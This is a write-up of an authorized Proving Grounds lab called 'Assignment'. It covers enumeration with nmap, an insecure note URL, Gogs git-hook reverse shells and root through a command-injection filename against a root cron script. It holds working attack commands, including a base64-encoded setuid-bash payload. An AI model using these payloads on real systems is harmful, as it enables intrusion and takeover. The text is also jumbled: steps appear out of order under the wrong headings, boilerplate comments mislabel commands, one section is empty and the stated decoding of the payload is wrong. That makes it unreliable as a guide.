Target: Linux

Proving Grounds: Assignment

This lab demonstrates leveraging an administrative account on Gogs to exploit the Git hooks feature, enabling remote code execution (RCE) and achieving initial access as a user. Privilege escalation is achieved by exploiting a command injection vulnerability in a root-executed cron job that uses the find command insecurely. The lab highlights Git-based RCE, cron job enumeration, and command injection for full system compromise.

Proving GroundsAuthorized lab writeupCybersecurity portfolio

Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.

The git hooks functionality enabled on Gogs will be exploited to establish an initial foothold. Once on the system, a command injection vulnerability in a cron job running as root will be leveraged to obtain root access. This lab focuses on exploiting application features and privilege escalation methods.

Description

This lab demonstrates leveraging an administrative account on Gogs to exploit the Git hooks feature, enabling remote code execution (RCE) and achieving initial access as a user. Privilege escalation is achieved by exploiting a command injection vulnerability in a root-executed cron job that uses the find command insecurely. The lab highlights Git-based RCE, cron job enumeration, and command injection for full system compromise.

Learning objectives

After completion of this lab, learners will be able to:

Enumeration

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Execute the next evidence-gathering step in the authorized lab.

└─$ git clone http://192.168.160.224:8000/jane/test.git
Cloning into 'test'...
Username for 'http://192.168.160.224:8000': jane
Password for 'http://jane@192.168.160.224:8000': 
warning: You appear to have cloned an empty repository.
hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint:
hint:   git config --global init.defaultBranch <name>
hint:
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint:
hint:   git branch -m <name>
hint:
hint: Disable this message with "git config set advice.defaultBranchName false"

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

─(kali㉿kali)-[~/offsec/assignment/test]
# Execute the next evidence-gathering step in the authorized lab.

└─$ touch README.md
git init
git add README.md
git commit -m "first commit"
Reinitialized existing Git repository in /home/kali/offsec/assignment/test/.git/
Author identity unknown

*** Please tell me who you are.

Run

  git config --global user.email "you@example.com"
  git config --global user.name "Your Name"

to set your account\'s default identity.
Omit --global to set the identity only in this repository.

fatal: unable to auto-detect email address (got 'kali@kali.(none)')

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

(kali㉿kali)-[~/offsec/assignment/test]
# Execute the next evidence-gathering step in the authorized lab.

└─$ git config --global user.name "jane"

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

(kali㉿kali)-[~/offsec/assignment/test]
# Execute the next evidence-gathering step in the authorized lab.

└─$ git config --global user.email "jane@assignment.pg"

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

┌──(.myenv)─(kali㉿kali)-[~/offsec/assignment/test]
# Execute the next evidence-gathering step in the authorized lab.

└─$ git commit -m "initial"                            
[master (root-commit) 4749e89] initial
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 README.md

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# The output records the result observed during this authorized lab step.

┌──(.myenv)─(kali㉿kali)-[~/offsec/assignment/test]
└─$

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

┌──(.myenv)─(kali㉿kali)-[~/offsec/assignment/test]
# Execute the next evidence-gathering step in the authorized lab.

└─$ git push               
Username for 'http://192.168.160.224:8000': jane
Password for 'http://jane@192.168.160.224:8000': 
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Writing objects: 100% (3/3), 203 bytes | 203.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Inspect the directory for files relevant to the next step.

<itories/jane/test.git$ ls -al /usr/bin/clean-tmp.sh
-rwxr-xr-x 1 root root 58 Aug  2  2022 /usr/bin/clean-tmp.sh

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Read the file contents for useful configuration or credential data.

jane@assignment:~/gogs-repositories/jane/test.git$ cat /usr/bin/clean-tmp.sh
# Read the file contents for useful configuration or credential data.

cat /usr/bin/clean-tmp.sh
#! /bin/bash
# Search the filesystem for files relevant to escalation or access.

find /dev/shm -type f -exec sh -c 'rm {}' \;

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Execute the next evidence-gathering step in the authorized lab.

jane@assignment:~/gogs-repositories/jane/test.git$ touch /dev/shm/\'$(echo -n Y2htb2QgdStzIC9iaW4vYmFzaA==|base64 -d|bash)'
<ho -n Y2htb2QgdStzIC9iaW4vYmFzaA==|base64 -d|bash)'

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Execute the next evidence-gathering step in the authorized lab.

jane@assignment:~/gogs-repositories/jane/test.git$ /bin/bash -p
/bin/bash -p
id
uid=1000(jane) gid=1000(jane) euid=0(root) groups=1000(jane)
# Move into the directory needed for the next action.

cd /root
id
uid=1000(jane) gid=1000(jane) euid=0(root) groups=1000(jane)
# Inspect the directory for files relevant to the next step.

ls
clean-tmp.sh
proof.txt
snap
# Read the file contents for useful configuration or credential data.

cat proof.txt
00f301a6d25349ac827296c183e405f3

Initial Access

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

kali㉿kali)-[~/offsec/assignment]
# Map exposed services and versions on the target.

└─$ nmap -sCV -p- 192.168.160.224         
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-10 15:33 -0400
Nmap scan report for 192.168.160.224
Host is up (0.021s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
80/tcp   open  http
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: 
|     HTTP/1.1 400 Bad Request
|   FourOhFourRequest, GetRequest, HTTPOptions: 
|     HTTP/1.0 403 Forbidden
|     Content-Type: text/html; charset=UTF-8
|_    Content-Length: 0
|_http-title: notes.pg
8000/tcp open  http    Golang net/http server
|_http-title: Gogs
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 Not Found
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gogs=a27ebe0a156969c5; Path=/; HttpOnly
|     Set-Cookie: _csrf=b2dM3zARDuczcWGVU4jMS3NmeS46MTc4MTEyMDA1ODI4Mjc1Nzk2Ng; Path=/; Domain=assignment.pg; Expires=Thu, 11 Jun 2026 19:34:18 GMT; HttpOnly
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|     Date: Wed, 10 Jun 2026 19:34:18 GMT
|     <!DOCTYPE html>
|     <html>
|     <head data-suburl="">
|     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
|     <meta name="author" content="Gogs" />
|     <meta name="description" content="Gogs is a painless self-hosted Git service" />
|     <meta name="keywords" content="go, git, self-hosted, gogs">
|     <meta name="referrer" content="no-referrer" />
|     <meta name="_csrf" content="b2dM3zARDuczcWGVU4jMS3NmeS46MTc4MTEyMD
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gogs=55e1ff6cc229e3a2; Path=/; HttpOnly
|     Set-Cookie: _csrf=vRhfXHoWsUyGsxVKCluV7NNQUsM6MTc4MTEyMDA1ODIyNTk0ODM2NA; Path=/; Domain=assignment.pg; Expires=Thu, 11 Jun 2026 19:34:18 GMT; HttpOnly
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|     Date: Wed, 10 Jun 2026 19:34:18 GMT
|     <!DOCTYPE html>
|     <html>
|     <head data-suburl="">
|     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
|     <meta name="author" content="Gogs" />
|     <meta name="description" content="Gogs is a painless self-hosted Git service" />
|     <meta name="keywords" content="go, git, self-hosted, gogs">
|     <meta name="referrer" content="no-referrer" />
|_    <meta name="_csrf" content="vRhfXHoWsUyGsxVKCluV7NNQUsM6MTc4MTEyMDA1ODIyN
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.98%I=7%D=6/10%Time=6A29BC3A%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,55,"HTTP/1\.0\x20403\x20Forbidden\r\nContent-Type:\x20text/html;
SF:\x20charset=UTF-8\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,55,"H
SF:TTP/1\.0\x20403\x20Forbidden\r\nContent-Type:\x20text/html;\x20charset=
SF:UTF-8\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,1C,"HTTP/1\.1\x20
SF:400\x20Bad\x20Request\r\n\r\n")%r(X11Probe,1C,"HTTP/1\.1\x20400\x20Bad\
SF:x20Request\r\n\r\n")%r(FourOhFourRequest,55,"HTTP/1\.0\x20403\x20Forbid
SF:den\r\nContent-Type:\x20text/html;\x20charset=UTF-8\r\nContent-Length:\
SF:x200\r\n\r\n")%r(GenericLines,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:n\r\n")%r(RPCCheck,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(D
SF:NSVersionBindReqTCP,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(
SF:DNSStatusRequestTCP,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(
SF:Help,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(SSLSessionReq,1
SF:C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(TerminalServerCookie,
SF:1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(TLSSessionReq,1C,"HT
SF:TP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(Kerberos,1C,"HTTP/1\.1\x20
SF:400\x20Bad\x20Request\r\n\r\n")%r(SMBProgNeg,1C,"HTTP/1\.1\x20400\x20Ba
SF:d\x20Request\r\n\r\n")%r(LPDString,1C,"HTTP/1\.1\x20400\x20Bad\x20Reque
SF:st\r\n\r\n")%r(LDAPSearchReq,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n
SF:\r\n")%r(LDAPBindReq,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r
SF:(SIPOptions,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(LANDesk-
SF:RC,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(TerminalServer,1C
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(NCP,1C,"HTTP/1\.1\x204
SF:00\x20Bad\x20Request\r\n\r\n")%r(NotesRPC,1C,"HTTP/1\.1\x20400\x20Bad\x
SF:20Request\r\n\r\n")%r(JavaRMI,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:n\r\n")%r(WMSRequest,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r
SF:(oracle-tns,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(ms-sql-s
SF:,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(afp,1C,"HTTP/1\.1\x
SF:20400\x20Bad\x20Request\r\n\r\n")%r(giop,1C,"HTTP/1\.1\x20400\x20Bad\x2
SF:0Request\r\n\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8000-TCP:V=7.98%I=7%D=6/10%Time=6A29BC3A%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,156C,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\
SF:x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;
SF:\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gogs=55e1ff6cc229e3a2;\
SF:x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=vRhfXHoWsUyGsxVKCluV7NNQ
SF:UsM6MTc4MTEyMDA1ODIyNTk0ODM2NA;\x20Path=/;\x20Domain=assignment\.pg;\x2
SF:0Expires=Thu,\x2011\x20Jun\x202026\x2019:34:18\x20GMT;\x20HttpOnly\r\nX
SF:-Content-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20DENY\r\nDate:\
SF:x20Wed,\x2010\x20Jun\x202026\x2019:34:18\x20GMT\r\n\r\n<!DOCTYPE\x20htm
SF:l>\n<html>\n<head\x20data-suburl=\"\">\n\t<meta\x20http-equiv=\"Content
SF:-Type\"\x20content=\"text/html;\x20charset=UTF-8\"\x20/>\n\t<meta\x20ht
SF:tp-equiv=\"X-UA-Compatible\"\x20content=\"IE=edge\"/>\n\t\n\t\t<meta\x2
SF:0name=\"author\"\x20content=\"Gogs\"\x20/>\n\t\t<meta\x20name=\"descrip
SF:tion\"\x20content=\"Gogs\x20is\x20a\x20painless\x20self-hosted\x20Git\x
SF:20service\"\x20/>\n\t\t<meta\x20name=\"keywords\"\x20content=\"go,\x20g
SF:it,\x20self-hosted,\x20gogs\">\n\t\n\t<meta\x20name=\"referrer\"\x20con
SF:tent=\"no-referrer\"\x20/>\n\t<meta\x20name=\"_csrf\"\x20content=\"vRhf
SF:XHoWsUyGsxVKCluV7NNQUsM6MTc4MTEyMDA1ODIyN")%r(FourOhFourRequest,1C3E,"H
SF:TTP/1\.0\x20404\x20Not\x20Found\r\nContent-Type:\x20text/html;\x20chars
SF:et=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;\x20Max-Age=2147483647
SF:\r\nSet-Cookie:\x20i_like_gogs=a27ebe0a156969c5;\x20Path=/;\x20HttpOnly
SF:\r\nSet-Cookie:\x20_csrf=b2dM3zARDuczcWGVU4jMS3NmeS46MTc4MTEyMDA1ODI4Mj
SF:c1Nzk2Ng;\x20Path=/;\x20Domain=assignment\.pg;\x20Expires=Thu,\x2011\x2
SF:0Jun\x202026\x2019:34:18\x20GMT;\x20HttpOnly\r\nX-Content-Type-Options:
SF:\x20nosniff\r\nX-Frame-Options:\x20DENY\r\nDate:\x20Wed,\x2010\x20Jun\x
SF:202026\x2019:34:18\x20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<head\x20d
SF:ata-suburl=\"\">\n\t<meta\x20http-equiv=\"Content-Type\"\x20content=\"t
SF:ext/html;\x20charset=UTF-8\"\x20/>\n\t<meta\x20http-equiv=\"X-UA-Compat
SF:ible\"\x20content=\"IE=edge\"/>\n\t\n\t\t<meta\x20name=\"author\"\x20co
SF:ntent=\"Gogs\"\x20/>\n\t\t<meta\x20name=\"description\"\x20content=\"Go
SF:gs\x20is\x20a\x20painless\x20self-hosted\x20Git\x20service\"\x20/>\n\t\
SF:t<meta\x20name=\"keywords\"\x20content=\"go,\x20git,\x20self-hosted,\x2
SF:0gogs\">\n\t\n\t<meta\x20name=\"referrer\"\x20content=\"no-referrer\"\x
SF:20/>\n\t<meta\x20name=\"_csrf\"\x20content=\"b2dM3zARDuczcWGVU4jMS3NmeS
SF:46MTc4MTEyMD");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.13 seconds

Navigating to the website @ port 80

Registering a fake user

The URL shows notes/8 trying to change the numbers and we can see Jane's note

Port 8000 has gogs running. and using jane's password to login

Searched web and found a git hooks vulnerability

Created a new repo

Added revshell in the 3 githooks fille

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

(kali㉿kali)-[~/offsec/Tools]
# Create the network connection required for this lab step.

└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.45.205] from (UNKNOWN) [192.168.160.224] 45702
/bin/sh: 0: can\'t access tty; job control turned off
# Execute the next evidence-gathering step in the authorized lab.

$ /bin/bash -i 
bash: cannot set terminal process group (848): Inappropriate ioctl for device
bash: no job control in this shell
# Confirm the identity of the current session.

jane@assignment:~/gogs-repositories/jane/test.git$ whoami
# Confirm the identity of the current session.

whoami
jane
jane@assignment:~/gogs-repositories/jane/test.git$

Privilege Escalation

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# The output records the result observed during this authorized lab step.

the decoded value for base64 is 'chmod x+s /bin/bash'

Takeaways

This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.